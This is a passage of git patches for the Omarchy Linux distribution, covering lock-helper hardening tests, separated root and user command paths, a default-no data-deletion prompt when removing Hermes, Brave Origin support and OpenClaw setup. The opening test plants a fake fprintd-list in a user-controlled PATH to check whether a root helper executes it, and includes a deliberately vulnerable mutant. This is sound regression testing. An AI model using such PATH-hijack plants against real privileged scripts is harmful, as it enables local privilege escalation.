"Fingerprints are enrolled" +EOF + +cat >"$poison_bin/fprintd-list" <<'EOF' +#!/bin/bash + +printf '%s\n' "$EUID" >"$TEST_ATTACK_MARKER" +printf '%s\n' "$*" >"$TEST_ATTACK_ARGS" +echo "Fingerprints are enrolled" +EOF + +chmod +x "$trusted_fprintd" "$poison_bin/fprintd-list" + +prepare_helper() { + local destination="$1" keep_root_path="$2" use_absolute_fprintd="$3" + + awk \ + -v password_pam="$password_pam" \ + -v fingerprint_pam="$fingerprint_pam" \ + -v trusted_root_bin="$trusted_root_bin" \ + -v trusted_fprintd="$trusted_fprintd" \ + -v keep_root_path="$keep_root_path" \ + -v use_absolute_fprintd="$use_absolute_fprintd" ' + { + line = $0 + gsub("/etc/pam\\.d/omarchy-lock-password", "\"" password_pam "\"", line) + gsub("/etc/pam\\.d/omarchy-lock-fingerprint", "\"" fingerprint_pam "\"", line) + + if (line == "if (( EUID == 0 )); then" && keep_root_path == 0) { + print "if (( 0 )); then" + next + } + if (line == " export PATH=/usr/share/omarchy/bin:/usr/local/bin:/usr/bin:/bin") { + print " export PATH=\"" trusted_root_bin "\"" + next + } + if (line == "if [[ -x /usr/bin/fprintd-list ]] &&") { + if (use_absolute_fprintd == 1) { + print "if [[ -x \"" trusted_fprintd "\" ]] &&" + } else { + print "if command -v fprintd-list >/dev/null 2>&1 &&" + } + next + } + if (line == " /usr/bin/fprintd-list \"$target_user\" 2>/dev/null | grep -qi finger; then") { + if (use_absolute_fprintd == 1) { + print " \"" trusted_fprintd "\" \"$target_user\" 2>/dev/null | grep -qi finger; then" + } else { + print " fprintd-list \"$target_user\" 2>/dev/null | grep -qi finger; then" + } + next + } + if (line == "if omarchy-shell lock status >/dev/null 2>&1; then") { + print "if false; then" + next + } + + print line + } + ' "$apply_lock" >"$destination" + chmod +x "$destination" +} + +prepare_helper "$patched_helper" 1 1 +prepare_helper "$absolute_only_helper" 0 1 +prepare_helper "$root_path_only_helper" 1 0 +prepare_helper "$unprotected_helper" 0 0 + +for helper in "$patched_helper" "$absolute_only_helper" "$root_path_only_helper" "$unprotected_helper"; do + if grep -F '/etc/pam.d/' "$helper" >/dev/null || + grep -F '/usr/bin/fprintd-list' "$helper" >/dev/null || + grep -F 'omarchy-shell lock status' "$helper" >/dev/null; then + fail "the isolated root fixture redirects every live-system lock-helper target" + fi +done + +reset_runtime_files() { + rm -f "$password_pam" "$fingerprint_pam" "$trusted_uid" "$trusted_args" "$attack_marker" "$attack_args" +} + +run_as_root() { + local helper="$1" description="$2" output + + if ! output=$(PATH="$poison_bin:/usr/bin:/bin" OMARCHY_INSTALL_USER="$target_user" \ + "${root_runner[@]}" /bin/bash "$helper" 2>&1); then + fail "$description" "$output" + fi +} + +reset_runtime_files +run_as_root "$patched_helper" "the fully hardened lock helper runs in an isolated root context" +[[ ! -e $attack_marker ]] || fail "the hardened root lock helper executes the user-planted fprintd-list" +grep -Fx '0' "$trusted_uid" >/dev/null || fail "the trusted fprintd-list probe runs with EUID 0" +grep -Fx "$target_user" "$trusted_args" >/dev/null || fail "the trusted fprintd-list probe receives the target user" +[[ -s $password_pam && -s $fingerprint_pam ]] || + fail "the isolated root lock-helper run writes both scratch PAM fixtures" +pass "the hardened root lock helper uses the trusted fingerprint probe" + +reset_runtime_files +run_as_root "$absolute_only_helper" "the absolute-path-only lock helper runs in an isolated root context" +[[ ! -e $attack_marker ]] || fail "an absolute fprintd-list path permits the user-planted command" +grep -Fx '0' "$trusted_uid" >/dev/null || fail "the absolute-path defense runs the trusted probe as root" +pass "the absolute fprintd-list path independently blocks the user-planted command" + +reset_runtime_files +run_as_root "$root_path_only_helper" "the root-PATH-only lock helper runs in an isolated root context" +[[ ! -e $attack_marker ]] || fail "the trusted root path permits the user-planted fprintd-list" +pass "the trusted root path independently blocks the user-planted command" + +# Mutation control: removing both protections must execute the planted command +# as UID 0, proving the matrix detects the original privilege-boundary failure. +reset_runtime_files +run_as_root "$unprotected_helper" "the unprotected mutation runs in an isolated root context" +grep -Fx '0' "$attack_marker" >/dev/null || + fail "the root lock-helper fixture detects a PATH-resolved fprintd-list regression" +grep -Fx "$target_user" "$attack_args" >/dev/null || + fail "the planted fprintd-list receives the target user" +[[ -s $fingerprint_pam ]] || fail "the planted fprintd-list controls the fingerprint PAM branch" +pass "the root lock-helper matrix rejects the vulnerable PATH lookup" diff --git a/test/shell.d/upgrade-to-quattro-test.sh b/test/shell.d/upgrade-to-quattro-test.sh index 0648409d..d357f513 100644 --- a/test/shell.d/upgrade-to-quattro-test.sh +++ b/test/shell.d/upgrade-to-quattro-test.sh @@ -6,6 +6,10 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" upgrade_to_quattro="$ROOT/bin/omarchy-upgrade-to-quattro" +function_body() { + awk -v name="$1" '$0 == name "() {" { inside = 1; next } inside && $0 == "}" { exit } inside' "$upgrade_to_quattro" +} + snapshot_line=$(grep -n '^create_pre_upgrade_snapshot$' "$upgrade_to_quattro" | cut -d: -f1) pacman_line=$(grep -n '^configure_pacman_channel$' "$upgrade_to_quattro" | cut -d: -f1) [[ -n $snapshot_line && -n $pacman_line ]] || fail "upgrade snapshot and first mutation calls exist" @@ -73,6 +77,44 @@ grep -F 'OMARCHY_INSTALL_USER="$target_user"' "$upgrade_to_quattro" >/dev/null grep -F '"$apply_lock"' "$upgrade_to_quattro" >/dev/null pass "Omarchy 4 upgrade configures lock screen authentication for the target user" +root_path_count=$(awk '/^root_path=/{ count++ } END { print count + 0 }' "$upgrade_to_quattro") +(( root_path_count == 1 )) || fail "Omarchy 4 upgrade defines exactly one root command path" +grep -Fx 'root_path=/usr/share/omarchy/bin:/usr/local/bin:/usr/bin:/bin' "$upgrade_to_quattro" >/dev/null || + fail "Omarchy 4 upgrade limits root command lookup to trusted system directories" +if grep -E '^root_path=.*(target_home|\.local/bin)' "$upgrade_to_quattro" >/dev/null; then + fail "Omarchy 4 upgrade does not put the target user's bin directory on the root command path" +fi +grep -Fx 'package_path="$root_path:$target_home/.local/bin"' "$upgrade_to_quattro" >/dev/null || + fail "Omarchy 4 upgrade retains the target user's bin directory for user commands" + +lock_authentication_body=$(function_body configure_lock_authentication) +lock_path_assignment_count=$(awk '{ count += gsub(/(^|[[:space:]])PATH=/, "") } END { print count + 0 }' <<<"$lock_authentication_body") +(( lock_path_assignment_count == 1 )) || + fail "Omarchy 4 upgrade gives the privileged lock helper exactly one command path" +grep -Fx ' PATH="$root_path" \' <<<"$lock_authentication_body" >/dev/null || + fail "Omarchy 4 upgrade gives the privileged lock helper the trusted root path" +if grep -E '(package_path|target_home|\.local/bin)' <<<"$lock_authentication_body" >/dev/null; then + fail "Omarchy 4 upgrade does not give the privileged lock helper the target user's path" +fi + +firewall_body=$(function_body apply_firewall_defaults) +firewall_path_assignment_count=$(awk '{ count += gsub(/(^|[[:space:]])PATH=/, "") } END { print count + 0 }' <<<"$firewall_body") +(( firewall_path_assignment_count == 1 )) || + fail "Omarchy 4 upgrade gives the privileged firewall helper exactly one command path" +grep -Fx ' as_root env OMARCHY_PATH=/usr/share/omarchy PATH="$root_path" \' <<<"$firewall_body" >/dev/null || + fail "Omarchy 4 upgrade gives the privileged firewall helper the trusted root path" +if grep -E '(package_path|target_home|\.local/bin)' <<<"$firewall_body" >/dev/null; then + fail "Omarchy 4 upgrade does not give the privileged firewall helper the target user's path" +fi + +user_omarchy_body=$(function_body run_as_user_omarchy) +grep -F 'PATH="$package_path"' <<<"$user_omarchy_body" >/dev/null || + fail "Omarchy 4 upgrade retains the package and user path for target-user commands" +if grep -F 'PATH="$root_path"' <<<"$user_omarchy_body" >/dev/null; then + fail "Omarchy 4 upgrade does not narrow target-user commands to the root-only path" +fi +pass "Omarchy 4 upgrade separates privileged and target-user command paths" + grep -F 'install/helpers/browser-policy.sh' "$upgrade_to_quattro" >/dev/null || fail "Omarchy 4 upgrade uses the shared browser-policy helper" grep -F 'as_root test -f "$browser_policy_helper"' "$upgrade_to_quattro" >/dev/null || @@ -100,10 +142,6 @@ pass "Omarchy 4 upgrade retires systemd-networkd for NetworkManager" # Booting with both managers enabled leaves them fighting over the Wi-Fi # adapter, so enabling NetworkManager and disabling iwd cannot be separated by # any step that might abort in between. -function_body() { - awk -v name="$1" '$0 == name "() {" { inside = 1; next } inside && $0 == "}" { exit } inside' "$upgrade_to_quattro" -} - migrations_body=$(function_body run_post_upgrade_migrations) grep -F 'fail "Omarchy migrations did not complete.' <<<"$migrations_body" >/dev/null || fail "Omarchy 4 upgrade fails when a migration cannot complete" From 8f155493805cab5e2c520b83c86b6a1aba6ebe7b Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Fri, 4 Sep 2026 21:50:41 -0500 Subject: [PATCH 204/336] Ask, default no, before Remove Hermes deletes the user's data --- bin/omarchy-remove-ai-hermes | 36 +++++++++++++---- manual/17-ai.md | 2 +- test/shell.d/hermes-remove-test.sh | 65 +++++++++++++++++++++++++++++- 3 files changed, 94 insertions(+), 9 deletions(-) diff --git a/bin/omarchy-remove-ai-hermes b/bin/omarchy-remove-ai-hermes index 1145fbd1..924cafab 100755 --- a/bin/omarchy-remove-ai-hermes +++ b/bin/omarchy-remove-ai-hermes @@ -25,11 +25,8 @@ omarchy-install-hermes-cli --remove || cli_removed=false # has whatever was there before, and none of it is ours to delete. if [[ -f $HOME/.hermes/hermes-agent/.hermes-bootstrap-complete ]]; then # The checkout and venv, its own uv, its own node. None of it is any use once - # the app is gone. Not ~/.config/Hermes, which holds the gateway connections - # and their encrypted tokens, the active profile and the update settings. Not - # the rest of ~/.hermes either: the chats, memories and the skills Hermes - # wrote for itself are the user's, they are small, and finding them still - # there after a reinstall is the better surprise. + # the app is gone, so it goes without asking; what the user made with the app + # is a different question, answered below. rm -rf \ "$HOME/.hermes/hermes-agent" \ "$HOME/.hermes/bootstrap-cache" \ @@ -58,10 +55,35 @@ if [[ -f $HOME/.hermes/hermes-agent/.hermes-bootstrap-complete ]]; then fi done + # What is left is the user's: the chats, memories and skills in ~/.hermes, + # the connections and their encrypted tokens in ~/.config/Hermes. Keeping + # them stays the default -- they are small, and finding them intact after a + # reinstall is the better surprise -- but a removal meant to be complete + # should not leave credentials behind either, so the choice is put in front + # of the user, default no. Only here, behind the bootstrap marker: without + # it ~/.hermes is an install the app never owned, and offering to delete it + # would put the user's own Hermes on the chopping block. Without a terminal + # to ask in, keeping it is the answer. + data_removed=false + if [[ -t 0 ]] && command -v gum >/dev/null; then + # du answers non-zero when either directory is missing (the app makes + # ~/.config/Hermes, but nothing says it is still there), and pipefail + # would turn that into an aborted removal; the size is worth no such thing. + size=$(du -shc "$HOME/.hermes" "$HOME/.config/Hermes" 2>/dev/null | tail -1 | cut -f1 || true) + if gum confirm --default=false "Also delete your Hermes data ($size: chats, memories, skills, connections and tokens)?"; then + rm -rf "$HOME/.hermes" "$HOME/.config/Hermes" + data_removed=true + fi + fi + echo "" echo "Hermes Desktop has been removed." - echo "Your chats, memories, and skills are still in ~/.hermes," - echo "and your connections and settings in ~/.config/Hermes." + if [[ $data_removed == true ]]; then + echo "Its chats, memories, and settings in ~/.hermes and ~/.config/Hermes are gone too." + else + echo "Your chats, memories, and skills are still in ~/.hermes," + echo "and your connections and settings in ~/.config/Hermes." + fi else echo "" echo "Hermes Desktop has been removed." diff --git a/manual/17-ai.md b/manual/17-ai.md index 78b51430..7a9e7c49 100644 --- a/manual/17-ai.md +++ b/manual/17-ai.md @@ -46,7 +46,7 @@ Crashes can also be silenced one program at a time, which is what the diagnosis The _Install > AI_ menu also carries a few graphical AI apps: the ChatGPT desktop app, Grok Bot for chatting with xAI's models, and Hermes Desktop. -Hermes Desktop is the one to know about, because there is only ever one Hermes on a machine. The app only runs against a runtime built from its own commit, so it installs one of its own under `~/.hermes` on first launch, which takes a few minutes and shows its own progress. From then on that is the Hermes the terminal `hermes` command and the default agent use too, whichever order you installed them in. Removing the app under _Remove > AI_ takes that runtime with it, and keeps your chats, memories, and the skills Hermes wrote for itself. +Hermes Desktop is the one to know about, because there is only ever one Hermes on a machine. The app only runs against a runtime built from its own commit, so it installs one of its own under `~/.hermes` on first launch, which takes a few minutes and shows its own progress. From then on that is the Hermes the terminal `hermes` command and the default agent use too, whichever order you installed them in. Removing the app under _Remove > AI_ takes that runtime with it, and keeps your chats, memories, and the skills Hermes wrote for itself unless you tell it otherwise: it asks, defaulting to no, whether that data and your connection settings should go too. ### Local LLMs diff --git a/test/shell.d/hermes-remove-test.sh b/test/shell.d/hermes-remove-test.sh index d3389087..88554894 100755 --- a/test/shell.d/hermes-remove-test.sh +++ b/test/shell.d/hermes-remove-test.sh @@ -24,6 +24,16 @@ cat >"$mock_bin/omarchy-install-hermes-cli" <<'SH' printf '%s\0' "$@" >>"$OMARCHY_TEST_INSTALLER_LOG" exit "${OMARCHY_TEST_INSTALLER_STATUS:-0}" SH + +# The remover asks through gum whether the user's data should go too. The stub +# answers "no" unless a test says otherwise, and logs every call: a real gum +# would hang a test run, and one that answered "yes" on its own would be the +# very data loss the default-no exists to prevent. +cat >"$mock_bin/gum" <<'SH' +#!/bin/bash +printf '%s\0' "$@" >>"$OMARCHY_TEST_GUM_LOG" +exit "${OMARCHY_TEST_GUM_STATUS:-1}" +SH chmod +x "$mock_bin"/* seed_install() { @@ -43,13 +53,30 @@ seed_install() { touch "$test_home/.hermes/hermes-agent/.hermes-bootstrap-complete" } +# "$test_tmp/installer-log" + : >"$test_tmp/gum-log" OMARCHY_TEST_DROP_LOG="$test_tmp/drop-log" \ OMARCHY_TEST_INSTALLER_LOG="$test_tmp/installer-log" \ OMARCHY_TEST_INSTALLER_STATUS="${OMARCHY_TEST_INSTALLER_STATUS:-0}" \ + OMARCHY_TEST_GUM_LOG="$test_tmp/gum-log" \ HOME="$test_home" PATH="$mock_bin:$PATH" \ - bash "$ROOT/bin/omarchy-remove-ai-hermes" >/dev/null 2>&1 + bash "$ROOT/bin/omarchy-remove-ai-hermes" /dev/null 2>&1 +} + +# script(1) puts the remover on a pty, which is the only way -t 0 answers true +# without a person at a real one; the stubbed gum then supplies the answer. +remove_tty() { + : >"$test_tmp/installer-log" + : >"$test_tmp/gum-log" + OMARCHY_TEST_DROP_LOG="$test_tmp/drop-log" \ + OMARCHY_TEST_INSTALLER_LOG="$test_tmp/installer-log" \ + OMARCHY_TEST_GUM_LOG="$test_tmp/gum-log" \ + OMARCHY_TEST_GUM_STATUS="${OMARCHY_TEST_GUM_STATUS:-1}" \ + HOME="$test_home" PATH="$mock_bin:$PATH" \ + script -qec "bash '$ROOT/bin/omarchy-remove-ai-hermes'" /dev/null >/dev/null 2>&1 } # The app brings its own uv and its own node; both are runtime, not data. @@ -77,6 +104,12 @@ pass "removal clears only the managed Node links it stranded" [[ -f $test_home/.hermes/SOUL.md ]] || fail "SOUL.md survives removal" pass "removal keeps what belongs to the user" +# Without a terminal there is nobody to ask, so gum must not even be reached: +# a gum that answered "yes" on its own would be a data loss. +[[ ! -s $test_tmp/gum-log ]] || + fail "removal does not ask about the user's data without a terminal" +pass "removal keeps the user's data unasked when there is no terminal" + [[ ! -e $test_home/.local/bin/hermes ]] || fail "the app's own hermes command is removed" pass "removal takes the command the app installed" @@ -134,6 +167,36 @@ remove || fail "remove succeeds with a wrapper pointing at a sibling directory" fail "a wrapper pointing at ~/xhermes is not mistaken for one pointing into ~/.hermes" pass "removal matches the runtime path as a plain string" +# On a terminal the user is asked, default no: declining leaves every piece of +# data where it was. +seed_install +remove_tty || fail "remove succeeds when the data question is declined" +tr '\0' '\n' <"$test_tmp/gum-log" | grep -qx 'confirm' || + fail "removal asks about the user's data on a terminal" +[[ -f $test_home/.hermes/sessions/one.json && -d $test_home/.config/Hermes ]] || + fail "declining the question keeps the user's data" +pass "removal asks on a terminal and declining keeps the data" + +# An explicit yes is the one path that takes the data too. +seed_install +OMARCHY_TEST_GUM_STATUS=0 remove_tty || fail "remove succeeds when the data goes too" +[[ ! -e $test_home/.hermes && ! -e $test_home/.config/Hermes ]] || + fail "a yes deletes ~/.hermes and ~/.config/Hermes" +pass "removal deletes the user's data only on an explicit yes" + +# Without the bootstrap marker ~/.hermes is an install the app never owned, so +# it must not even be offered for deletion -- not to a terminal, not to a user +# who would say yes. +seed_install +rm -f "$test_home/.hermes/hermes-agent/.hermes-bootstrap-complete" +OMARCHY_TEST_GUM_STATUS=0 remove_tty || + fail "remove succeeds when the app never installed Hermes" +[[ ! -s $test_tmp/gum-log ]] || + fail "a Hermes the app never installed is not offered for deletion" +[[ -d $test_home/.hermes/hermes-agent && -d $test_home/.config/Hermes ]] || + fail "a Hermes the app never installed survives a would-be yes" +pass "removal never offers a Hermes the app did not install" + # A CLI teardown that fails must not stop the runtime handling, and must not be # papered over either: the data work still happens, and the failure reaches the # caller's exit code. From 7ea464988ebe2b004068467d9132368fe1ad6cfd Mon Sep 17 00:00:00 2001 From: Akiko Date: Sat, 5 Sep 2026 08:04:22 +0200 Subject: [PATCH 205/336] Remove link to Omarchy 3 manual --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index 5cedfc5c..5834780f 100644 --- a/README.md +++ b/README.md @@ -6,9 +6,7 @@ Read more at [omarchy.org](https://omarchy.org). ## The Omarchy Manual -The manual lives in [`manual/`](manual/), which is its authoritative source. It's -mirrored to [learn.omacom.io](https://learn.omacom.io/2/the-omarchy-manual), where -its screenshots are also hosted. +The manual lives in [`manual/`](manual/), which is its authoritative source. - [Welcome to Omarchy!](manual/01-welcome-to-omarchy.md) From e8e92c5092c9bbbf3d7fc5240f8551fd1eeaced9 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 5 Sep 2026 10:17:35 +0200 Subject: [PATCH 206/336] Register the Chromium native messaging hosts for Brave Origin (#10292) Brave Origin keeps its profile under ~/.config/BraveSoftware/Brave-Origin rather than Brave-Browser, so the Copy URL and Download Video installers never wrote their host manifests there. The extensions loaded but the shortcuts did nothing. Add the Origin profile roots and rerun both installers through a migration. Co-authored-by: Claude Fable 5.1 --- bin/omarchy-install-chromium-copy-url | 3 +++ bin/omarchy-install-chromium-ytdlp | 3 +++ migrations/1788595060.sh | 4 ++++ test/shell.d/chromium-copy-url-test.sh | 4 ++++ test/shell.d/chromium-ytdlp-test.sh | 4 ++++ 5 files changed, 18 insertions(+) create mode 100644 migrations/1788595060.sh diff --git a/bin/omarchy-install-chromium-copy-url b/bin/omarchy-install-chromium-copy-url index 4f6dae02..0ee586d6 100755 --- a/bin/omarchy-install-chromium-copy-url +++ b/bin/omarchy-install-chromium-copy-url @@ -16,6 +16,9 @@ browser_dirs=( "$HOME/.config/BraveSoftware/Brave-Browser" "$HOME/.config/BraveSoftware/Brave-Browser-Beta" "$HOME/.config/BraveSoftware/Brave-Browser-Nightly" + "$HOME/.config/BraveSoftware/Brave-Origin" + "$HOME/.config/BraveSoftware/Brave-Origin-Beta" + "$HOME/.config/BraveSoftware/Brave-Origin-Nightly" "$HOME/.config/microsoft-edge" "$HOME/.config/microsoft-edge-dev" ) diff --git a/bin/omarchy-install-chromium-ytdlp b/bin/omarchy-install-chromium-ytdlp index c700578c..63ba46d5 100755 --- a/bin/omarchy-install-chromium-ytdlp +++ b/bin/omarchy-install-chromium-ytdlp @@ -17,6 +17,9 @@ browser_dirs=( "$HOME/.config/BraveSoftware/Brave-Browser" "$HOME/.config/BraveSoftware/Brave-Browser-Beta" "$HOME/.config/BraveSoftware/Brave-Browser-Nightly" + "$HOME/.config/BraveSoftware/Brave-Origin" + "$HOME/.config/BraveSoftware/Brave-Origin-Beta" + "$HOME/.config/BraveSoftware/Brave-Origin-Nightly" "$HOME/.config/microsoft-edge" "$HOME/.config/microsoft-edge-dev" ) diff --git a/migrations/1788595060.sh b/migrations/1788595060.sh new file mode 100644 index 00000000..750da2dc --- /dev/null +++ b/migrations/1788595060.sh @@ -0,0 +1,4 @@ +echo "Register the Chromium extension native messaging hosts for Brave Origin" + +omarchy-install-chromium-copy-url +omarchy-install-chromium-ytdlp diff --git a/test/shell.d/chromium-copy-url-test.sh b/test/shell.d/chromium-copy-url-test.sh index 6dad096f..daed1a3d 100644 --- a/test/shell.d/chromium-copy-url-test.sh +++ b/test/shell.d/chromium-copy-url-test.sh @@ -71,6 +71,10 @@ jq -e --arg path "$ROOT/bin/omarchy-chromium-copy-url-host" ' ' "$native_manifest" >/dev/null || fail "copy-url native host manifest uses Omarchy host path and extension id" pass "copy-url native host installer registers the stable extension id" +[[ -f $test_home/.config/BraveSoftware/Brave-Origin/NativeMessagingHosts/com.omarchy.copy_url.json ]] || + fail "copy-url native host installer covers Brave Origin" +pass "copy-url native host installer covers Brave Origin" + # Chromium ships in the base packages, so fresh installs do not go through # omarchy-install-browser, and they mark every migration as already applied. # The user install still has to register the host itself. diff --git a/test/shell.d/chromium-ytdlp-test.sh b/test/shell.d/chromium-ytdlp-test.sh index 6cd571c4..a2872699 100755 --- a/test/shell.d/chromium-ytdlp-test.sh +++ b/test/shell.d/chromium-ytdlp-test.sh @@ -33,6 +33,10 @@ jq -e --arg path "$ROOT/bin/omarchy-chromium-ytdlp-host" ' ' "$manifest_path" >/dev/null pass "yt-dlp native host manifest uses Omarchy host path and extension id" +[[ -f $test_home/.config/BraveSoftware/Brave-Origin/NativeMessagingHosts/com.omarchy.ytdlp.json ]] || + fail "yt-dlp native host installer covers Brave Origin" +pass "yt-dlp native host installer covers Brave Origin" + parse_result=$(bash -c ' OMARCHY_PATH="$3" source "$1" From 110cb8f5b4aba7021c17ebade1850cba221d9da6 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 5 Sep 2026 16:16:23 +0200 Subject: [PATCH 207/336] Add original vi as a standard terminal editor (#10307) * Add vi as a standard terminal editor * Use the original vi package --- install/omarchy-base.packages | 1 + manual/18-development-tools.md | 2 ++ migrations/1788596255.sh | 3 +++ 3 files changed, 6 insertions(+) create mode 100644 migrations/1788596255.sh diff --git a/install/omarchy-base.packages b/install/omarchy-base.packages index c5013ba6..03af6299 100644 --- a/install/omarchy-base.packages +++ b/install/omarchy-base.packages @@ -133,6 +133,7 @@ ufw-docker unzip usage uwsm +vi whois wireless-regdb wireplumber diff --git a/manual/18-development-tools.md b/manual/18-development-tools.md index 59ae9198..f49125d9 100644 --- a/manual/18-development-tools.md +++ b/manual/18-development-tools.md @@ -4,6 +4,8 @@ Omarchy ships with [Neovim](https://neovim.io/) by default, but if you'd like something a bit more mainstream and familiar, you can run the Omarchy Menu (`Super + Space`) and see the options under _Install > Editor_. We have VSCode, Cursor, Zed, Sublime Text, Helix, Vim, and Emacs listed there. If you don't find what you're looking for, checkout _Install > Package_, and see if it isn't in an Arch package (and if not, try _Install > AUR_ to check the AUR). +The original `vi` editor is also available out of the box. Run `vi filename` to edit a file in the terminal. + Theme matching is offered for `VSCode`, `Cursor`, `VSCodium`, and `Helix`. You can set the system-wide default editor under `Setup > Defaults > Editor`. diff --git a/migrations/1788596255.sh b/migrations/1788596255.sh new file mode 100644 index 00000000..e4c7b0c4 --- /dev/null +++ b/migrations/1788596255.sh @@ -0,0 +1,3 @@ +echo "Add vi as a standard terminal editor" + +omarchy-pkg-add vi From 534567398806f36bebcb77c614e6bb8ad2828a5e Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Fri, 4 Sep 2026 16:40:12 -0500 Subject: [PATCH 208/336] Add OpenClaw to Install > AI as a web app on its own gateway OpenClaw's desktop experience on Linux is its Control UI, served by the gateway the openclaw package runs, so the Install > AI entry installs the package and a web app launcher that routes through the new omarchy-launch-openclaw: first launch hands off to OpenClaw's own onboarding wizard, later launches start the gateway when needed and open the dashboard's single-use browser handoff URL as an app window. Remove > AI tears the gateway service down through OpenClaw's own gateway uninstall (falling back to systemctl by hand), aborts rather than dropping the package under a gateway that will not stop, and keeps the user's agent in ~/.openclaw. OpenClaw also joins Setup > Defaults > Agent through the same agent_installer seam Hermes carries: its CLI is the pacman package rather than a mise tool, so omarchy-install-openclaw-cli answers --check/--now with pacman, and omarchy-agent runs `openclaw chat`, seeding prompts through --message. The menu mark is a new U+E90C glyph traced from the package's lobster favicon; E90B stays free for the Perplexity mark still in flight on its own branch. The launcher recovers the gateway through `openclaw gateway install --force` (unit not enabled: missing, or an install that died after writing it) or `openclaw gateway start` (enabled but stopped), never `openclaw dashboard --yes`: as of OpenClaw 2026.9.1 that defers to "the owning supervisor" in both cases, and once the gateway is up it copies a one-time browser pairing URL into the clipboard. The dashboard probe is bounded so an app-grid launch cannot hang without a terminal to interrupt it. Removal treats only systemd's own "inactive"/"failed" as a stopped gateway, so an unreachable user manager aborts instead of dropping the package under a live process. All of it verified against a real 2026.9.1 install. Removal also takes down the node-host unit if OpenClaw ever installed one, and asks (default no, only on a terminal) whether ~/.openclaw should go too, with its size: the chats and credentials live there next to hundreds of megabytes of plugin runtimes and cache OpenClaw downloads for itself. Onboarding goes through omarchy-openclaw-onboard rather than bare `openclaw onboard`: as of 2026.9.1 the bare command is the guided flow, which ends by running a foreground gateway and handing off to a browser tab without returning, so the install script never reached the app launch and no service was installed. The helper runs the classic wizard (--flow quickstart --install-daemon --skip-ui) as a background job that keeps the terminal as its stdin, so its prompts render and take input as upstream draws them, and stops it once the gateway answers: upstream leaves the wizard running after its outro (only the TUI branch exits, and the model sign-in holds a socket open). Every quickstart prompt precedes the service install, so that point is safe. A gateway that never comes up after this run applies setup ends the wait as a failure instead of hanging, an already-running OpenClaw is left alone rather than mistaken for this run's success, a gateway answering on the port is only this run's once its process is the unit's own MainPID (an orphan from an earlier run) is not mistaken for the service this run installs, and a signal at the helper takes the wizard down with it. --- bin/omarchy | 1 + bin/omarchy-agent | 9 + bin/omarchy-default-agent | 8 +- bin/omarchy-install-ai-openclaw | 35 ++++ bin/omarchy-install-openclaw-cli | 29 +++ bin/omarchy-launch-openclaw | 91 ++++++++ bin/omarchy-openclaw-onboard | 130 ++++++++++++ bin/omarchy-remove-ai-openclaw | 78 +++++++ default/fonts/omarchy/README.md | 1 + default/fonts/omarchy/omarchy.ttf | Bin 5052 -> 5284 bytes default/omarchy/omarchy-menu.jsonc | 3 + manual/17-ai.md | 4 +- test/shell.d/default-agent-test.sh | 65 ++++++ test/shell.d/launch-openclaw-test.sh | 189 +++++++++++++++++ test/shell.d/menu-test.sh | 5 +- test/shell.d/openclaw-onboard-test.sh | 288 ++++++++++++++++++++++++++ test/shell.d/remove-ai-test.sh | 158 ++++++++++++++ 17 files changed, 1088 insertions(+), 6 deletions(-) create mode 100755 bin/omarchy-install-ai-openclaw create mode 100755 bin/omarchy-install-openclaw-cli create mode 100755 bin/omarchy-launch-openclaw create mode 100755 bin/omarchy-openclaw-onboard create mode 100755 bin/omarchy-remove-ai-openclaw create mode 100755 test/shell.d/launch-openclaw-test.sh create mode 100755 test/shell.d/openclaw-onboard-test.sh diff --git a/bin/omarchy b/bin/omarchy index 4219109b..2bace6df 100755 --- a/bin/omarchy +++ b/bin/omarchy @@ -65,6 +65,7 @@ GROUP_DESCRIPTIONS[monitor]="Monitor status helpers" GROUP_DESCRIPTIONS[network]="Network status helpers" GROUP_DESCRIPTIONS[notification]="Notification helpers" GROUP_DESCRIPTIONS[mise]="Mise tool wrappers" +GROUP_DESCRIPTIONS[openclaw]="OpenClaw agent platform setup" GROUP_DESCRIPTIONS[osd]="On-screen display status helpers" GROUP_DESCRIPTIONS[pkg]="Package management helpers" GROUP_DESCRIPTIONS[plugin]="Omarchy shell plugin and bar widget management" diff --git a/bin/omarchy-agent b/bin/omarchy-agent index bc65ab9a..0aa0273b 100755 --- a/bin/omarchy-agent +++ b/bin/omarchy-agent @@ -82,6 +82,15 @@ grok) command=(grok --permission-mode bypassPermissions) [[ -n ${prompt:-} ]] && command+=(-- "$prompt") ;; +openclaw) + # The launcher owns onboarding and the gateway dance: OpenClaw's terminal UI + # must attach to the running gateway (the embedded `openclaw chat` refuses to + # start while the gateway owns the state directory). It has no permission + # prompts to skip, and --message seeds the session while keeping it + # interactive. + command=(omarchy-launch-openclaw --tui) + [[ -n ${prompt:-} ]] && command+=(--message "$prompt") + ;; codex) command=(codex --approve-for-me) [[ -n ${prompt:-} ]] && command+=(-- "$prompt") diff --git a/bin/omarchy-default-agent b/bin/omarchy-default-agent index 9d575514..f832b22d 100755 --- a/bin/omarchy-default-agent +++ b/bin/omarchy-default-agent @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Set and launch the default coding agent -# omarchy:args=[pi|omp|opencode|ori|claude|codex|grok|agy|hermes|copilot|crush] +# omarchy:args=[pi|omp|opencode|ori|claude|codex|grok|openclaw|agy|hermes|copilot|crush] # omarchy:examples=omarchy default agent | omarchy default agent codex | omarchy default agent claude installing=false @@ -32,11 +32,12 @@ claude | claude-code) agent="claude"; name="Claude Code" ;; codex) agent="codex"; name="Codex" ;; crush) agent="crush"; name="Crush" ;; grok) agent="grok"; name="Grok"; agent_package="npm:@xai-official/grok" ;; +openclaw) agent="openclaw"; name="OpenClaw"; agent_installer="omarchy-install-openclaw-cli" ;; agy | antigravity | antigravity-cli | gemini | gemini-cli) agent="agy"; name="Antigravity"; agent_package="antigravity-cli" ;; hermes) agent="hermes"; name="Hermes"; agent_installer="omarchy-install-hermes-cli" ;; copilot | github-copilot) agent="copilot"; name="GitHub Copilot" ;; *) - echo "Usage: omarchy-default-agent " + echo "Usage: omarchy-default-agent " exit 1 ;; esac @@ -45,7 +46,8 @@ agent_package=${agent_package:-$agent} # Hermes reaches mise through its own installer rather than straight from # here: it needs its interpreter pinned, and a bare `mise use` has nowhere to -# say so. See omarchy-install-hermes-cli. +# say so. See omarchy-install-hermes-cli. OpenClaw comes from its pacman +# package the same way; 